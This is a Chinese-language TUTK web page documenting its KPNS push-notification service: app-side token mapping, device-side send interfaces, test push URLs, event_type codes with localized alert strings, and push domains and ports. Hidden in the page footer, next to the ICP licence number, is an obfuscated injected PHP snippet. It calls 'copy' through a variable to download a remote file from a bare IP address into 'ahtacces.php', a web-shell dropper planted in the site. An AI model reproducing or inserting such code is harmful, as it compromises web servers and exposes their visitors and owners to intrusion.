简体中文

KPNS消息推送

参考文件:https://docs.qq.com/pdf/DS3lMam9GRFJiRkpJ

TUTK目前使用的推送服务,已经集成了市面上主流的手机厂商推送,比如APNS、FCM、小米,华为,OPPO,VIVO等手机厂商通道,对于手机跟设备端来说,只需要对接TUTK的推送服务就可以使用主流的手机厂商通道。

image.png

APP端:

时机问题:
(1)     添加设备: client + mapping(每隔一段时间需要更新token,重新执行此步)
(2)     删除设备(单个):rm_mapping

设备端:

可以使用curl等第三方库post htttp的方式,来向服务器推送消息。

参考sample code: SDK\Sample\Linux\Sample_AVAPIs\AVAPIs_Server.c
相关接口:
l  GetPushMessageString()
l  SendPushMessage()  //向手机推送消息,随用随调。
l  GetRegMessageString()
l  SendRegister()  //新版本已经不需要调用这个接口了
在SendRegister里面,调用send之后,建议加上recv,接收服务器的回应。如果不加recv,立刻关闭socket fd,可能会导致本次推送失败,因为send的数据可能还在系统缓存区里面,还没发出去。加recv第一能获取到服务器回应,第二可以有一个延时时间。
模拟手推链接:
海外:http://push.iotcplatform.com/tpns?cmd=event&uid={uid}&event_type={event_type}&no_wait=1&debug=1
国内:http://push.kalay.net.cn/tpns?cmd=event&uid={uid}&event_type={event_type}&no_wait=1&debug=1
附一:常见的推送消息如下
event_type
Lang - notification string
zh_CN
enUS
fr_FR
ja_JP
zh_TW
1或者4
移动侦测
Motion Detection
Détection de mouvement
モーション検知
位移偵測
2000
用户呼叫
User call

ユーザー呼び出し
用戶呼叫
55
门磁报警
door alarm



37
您的门铃已经断线,请尽速确认!
Your doorphone is not
 connected with network, please confirm soon.


您的門鈴已經斷線,請盡速確認!
52
影像遗失
video loss



100
空白字串,配合&msg=自定义消息使用
附二:国内外推送服务以及对应的域名:
(1)     APNS:push.iotcplatform.com
(2)     FCM:  push.iotcplatform.com
(3)     (国内)极光、信鸽、华为,小米、oppo:push.kalay.net.cn
端口:http是80/7379,https用7380
附三:各个推送服务需要提供的资料给TUTK:
(1)     APNS: bundle
id、pem证书、pem类型(dev or dis)、pem证书密码(如果有密码的话,需要提供,没有则不需要,建议不设密码)
(2)     FCM:  APPID、服务器密钥
(3)     信鸽:APPID、APP  ID、SECRET KEY


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部